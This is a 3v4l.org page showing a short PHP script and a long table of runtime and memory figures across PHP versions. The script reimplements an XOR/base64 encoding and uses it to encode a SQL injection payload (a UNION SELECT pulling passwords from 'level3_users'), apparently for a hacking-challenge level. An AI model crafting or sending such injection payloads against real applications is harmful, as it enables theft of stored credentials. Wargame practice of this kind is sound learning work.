3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' union select 1,2,3,4,5,6,password as name from level3_users #")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0090.00618.65
8.3.30.0060.00920.29
8.3.20.0000.00720.25
8.3.10.0160.00421.94
8.3.00.0080.00022.57
8.2.170.0120.00922.96
8.2.160.0110.00722.08
8.2.150.0060.00324.18
8.2.140.0060.00324.66
8.2.130.0070.01026.16
8.2.120.0030.00619.89
8.2.110.0090.00020.34
8.2.100.0030.00917.91
8.2.90.0080.00019.30
8.2.80.0040.00419.27
8.2.70.0040.00417.63
8.2.60.0080.00017.91
8.2.50.0030.00518.07
8.2.40.0030.00518.22
8.2.30.0030.00818.08
8.2.20.0030.00517.82
8.2.10.0000.00817.81
8.2.00.0040.00817.78
8.1.270.0040.00424.66
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0060.00323.89
8.1.230.0060.00619.16
8.1.220.0040.00417.79
8.1.210.0000.00818.77
8.1.200.0060.00317.35
8.1.190.0030.00617.54
8.1.180.0030.00519.01
8.1.170.0030.00618.49
8.1.160.0000.00720.98
8.1.150.0030.00518.61
8.1.140.0030.00617.38
8.1.130.0030.00317.83
8.1.120.0040.00417.34
8.1.110.0080.00017.47
8.1.100.0000.00817.44
8.1.90.0000.00717.34
8.1.80.0040.00417.36
8.1.70.0000.00717.38
8.1.60.0050.00317.50
8.1.50.0040.00417.54
8.1.40.0000.00817.50
8.1.30.0080.00017.63
8.1.20.0030.00617.61
8.1.10.0000.00817.55
8.1.00.0000.00817.48
8.0.300.0040.00418.77
8.0.290.0000.00917.16
8.0.280.0000.00718.54
8.0.270.0030.00317.29
8.0.260.0070.00016.91
8.0.250.0000.00716.96
8.0.240.0040.00416.98
8.0.230.0040.00417.00
8.0.220.0000.00716.90
8.0.210.0070.00016.93
8.0.200.0000.00716.97
8.0.190.0030.00716.96
8.0.180.0030.00516.78
8.0.170.0080.00016.83
8.0.160.0000.00816.93
8.0.150.0040.00416.93
8.0.140.0000.00716.89
8.0.130.0030.00313.29
8.0.120.0060.00316.79
8.0.110.0040.00416.89
8.0.100.0000.00716.79
8.0.90.0000.00716.91
8.0.80.0040.01216.95
8.0.70.0040.00416.96
8.0.60.0000.00716.80
8.0.50.0000.00716.91
8.0.30.0130.00617.30
8.0.20.0120.00617.40
8.0.10.0020.00516.78
8.0.00.0100.00916.76
7.4.330.0000.00515.01
7.4.320.0030.00316.34
7.4.300.0000.00616.52
7.4.290.0000.00716.62
7.4.280.0000.00816.61
7.4.270.0070.00016.68
7.4.260.0000.00713.31
7.4.250.0000.00716.50
7.4.240.0010.00616.58
7.4.230.0000.00716.45
7.4.220.0030.01616.48
7.4.210.0070.00916.53
7.4.200.0070.00016.64
7.4.190.0040.00416.80
7.4.160.0060.00916.60
7.4.150.0130.00717.40
7.4.140.0110.00817.86
7.4.130.0080.00816.61
7.4.120.0050.01216.56
7.4.110.0030.01416.63
7.4.100.0120.00916.60
7.4.90.0090.01416.55
7.4.80.0120.00619.39
7.4.70.0030.01416.64
7.4.60.0100.00716.48
7.4.50.0000.00916.30
7.4.40.0040.01522.77
7.4.30.0070.01416.39
7.4.00.0010.01414.96
7.3.330.0050.00013.25
7.3.320.0030.00313.39
7.3.310.0030.00316.43
7.3.300.0030.00316.39
7.3.290.0120.00316.40
7.3.280.0090.00916.39
7.3.270.0130.00417.40
7.3.260.0100.00616.29
7.3.250.0120.00516.65
7.3.240.0060.01016.52
7.3.230.0040.01316.40
7.3.210.0060.01316.50
7.3.200.0060.01319.39
7.3.190.0070.01416.27
7.3.180.0100.00716.45
7.3.170.0030.01216.51
7.3.160.0070.01016.63
7.3.120.0060.01014.78
7.3.110.0100.01015.13
7.3.100.0050.00514.81
7.3.90.0030.00615.17
7.3.80.0130.00314.50
7.3.70.0030.01114.74
7.3.60.0040.01114.75
7.3.50.0090.00614.91
7.3.40.0100.00314.73
7.3.30.0090.00614.98
7.3.20.0060.00616.63
7.3.10.0030.01016.45
7.3.00.0000.01416.50
7.2.330.0100.01016.80
7.2.320.0110.00616.75
7.2.310.0060.01016.75
7.2.300.0110.00616.64
7.2.290.0000.02116.78
7.2.250.0060.01215.19
7.2.240.0140.00315.26
7.2.230.0100.00715.14
7.2.220.0070.00714.87
7.2.210.0000.01415.23
7.2.200.0040.00715.21
7.2.190.0040.01114.95
7.2.180.0040.01214.87
7.2.170.0030.01015.08
7.2.00.0160.00819.30
7.1.330.0060.00915.73
7.1.320.0060.00615.68
7.1.310.0030.00915.98
7.1.300.0070.00715.99
7.1.290.0030.00615.95
7.1.280.0090.00615.66
7.1.270.0070.00715.94
7.1.260.0040.00915.79
7.1.70.0110.00017.25
7.1.60.0040.00817.28
7.1.50.0090.01216.79
7.1.00.0000.03722.27
7.0.200.0000.00816.81
7.0.140.0000.07722.07
7.0.60.0070.07319.95
7.0.50.0100.07717.90
7.0.40.0100.06020.24
7.0.30.0270.06720.34
7.0.20.0370.07320.20
7.0.10.0300.03320.11
7.0.00.0030.04320.10
5.6.280.0070.07020.78
5.6.210.0000.07720.45
5.6.200.0130.05018.16
5.6.190.0030.05020.41
5.6.180.0170.07720.48
5.6.170.0330.05020.47
5.6.160.0100.08020.51
5.6.150.0100.07318.14
5.6.140.0030.07018.19
5.6.130.0000.08718.23
5.6.120.0030.04020.91
5.6.110.0030.05321.02
5.6.100.0130.08020.98
5.6.90.0030.07021.05
5.6.80.0070.08320.38
5.6.70.0330.07020.41
5.5.350.0000.05020.49
5.5.340.0000.06317.99
5.5.330.0100.08020.36
5.5.320.0230.08020.51
5.5.310.0270.05320.31
5.5.300.0030.06018.08
5.5.290.0030.08018.02
5.5.280.0030.08020.88
5.5.270.0130.08320.77
5.5.260.0070.06320.80
5.5.250.0130.06320.72
5.5.240.0100.08020.27
5.4.450.0070.06319.39
5.4.440.1000.06319.34
5.4.430.1070.05719.44
5.4.420.0670.05719.16
5.4.410.1130.05019.18
5.4.400.0300.05018.50
5.4.390.0230.05718.75
5.4.380.0200.05318.61
5.4.370.0170.04718.54
5.4.360.0130.05018.59
5.4.350.0080.03412.02
5.4.340.0090.03312.02
5.4.320.0050.03812.51
5.4.310.0070.03712.51
5.4.300.0070.03512.51
5.4.290.0100.03412.50
5.4.280.0100.03312.40
5.4.270.0050.03812.40
5.4.260.0100.04412.40
5.4.250.0080.03712.40
5.4.240.0100.05318.92
5.4.230.0030.05718.74
5.4.220.0070.05718.93
5.4.210.0170.06718.94
5.4.200.0170.06319.09
5.4.190.0070.05318.82
5.4.180.0030.06018.87
5.4.170.0130.04718.98
5.4.160.0170.04019.01
5.4.150.0070.05318.77
5.4.140.0030.05316.48
5.4.130.0200.03716.41
5.4.120.0130.04316.40
5.4.110.0130.04716.70
5.4.100.0100.04316.53
5.4.90.0100.04716.70
5.4.80.0070.05316.68
5.4.70.0070.04716.52
5.4.60.0030.06016.47
5.4.50.0100.05316.50
5.4.40.0170.04716.35
5.4.30.0070.05316.53
5.4.20.0170.04016.43
5.4.10.0130.04316.48
5.4.00.0130.04315.83
5.3.290.0120.03312.80
5.3.280.0100.05314.68
5.3.270.0070.05314.52
5.3.260.0100.05714.68
5.3.250.0170.04014.58
5.3.240.0230.03314.70
5.3.230.0000.07714.68
5.3.220.0100.04714.68
5.3.210.0130.05014.71
5.3.200.0130.04314.54
5.3.190.0070.06014.79
5.3.180.0130.04314.63
5.3.170.0100.04314.65
5.3.160.0100.05014.43
5.3.150.0070.06014.70
5.3.140.0130.04714.64
5.3.130.0100.05714.77
5.3.120.0070.05714.69
5.3.110.0030.05714.46
5.3.100.0030.06714.06
5.3.90.0070.06714.04
5.3.80.0030.06013.93
5.3.70.0030.07714.10
5.3.60.0030.06014.07
5.3.50.0100.05014.04
5.3.40.0030.05314.03
5.3.30.0100.04314.00
5.3.20.0070.07013.68
5.3.10.0030.06713.64
5.3.00.0130.04713.73
5.2.170.0070.04311.24
5.2.160.0070.03711.22
5.2.150.0130.03311.11
5.2.140.0130.05011.23
5.2.130.0100.03711.11
5.2.120.0070.03711.11
5.2.110.0070.03711.18
5.2.100.0030.04011.01
5.2.90.0100.03711.12
5.2.80.0070.04311.18
5.2.70.0030.04311.18
5.2.60.0030.04311.14
5.2.50.0070.04311.00
5.2.40.0030.04011.01
5.2.30.0100.04010.96
5.2.20.0100.03710.93
5.2.10.0070.03310.85
5.2.00.0030.04010.63
5.1.60.0070.0309.93
5.1.50.0070.03310.20
5.1.40.0030.0339.90
5.1.30.0130.03010.41
5.1.20.0030.04010.44
5.1.10.0030.04710.22
5.1.00.0070.04310.17
5.0.50.0070.0278.65
5.0.40.0000.0308.50
5.0.30.0070.0378.31
5.0.20.0100.0208.20
5.0.10.0030.0278.11
5.0.00.0070.0378.25
4.4.90.0000.0237.30
4.4.80.0100.0237.30
4.4.70.0100.0177.30
4.4.60.0000.0237.30
4.4.50.0070.0177.30
4.4.40.0000.0407.30
4.4.30.0030.0207.30
4.4.20.0000.0277.30
4.4.10.0030.0237.30
4.4.00.0030.0307.30
4.3.110.0030.0207.30
4.3.100.0000.0237.30
4.3.90.0000.0207.30
4.3.80.0070.0307.30
4.3.70.0000.0237.30
4.3.60.0000.0237.30
4.3.50.0100.0137.30
4.3.40.0000.0337.30
4.3.30.0000.0237.30
4.3.20.0000.0237.30
4.3.10.0070.0237.30
4.3.00.0070.0177.00

preferences:
54.36 ms | 400 KiB | 5 Q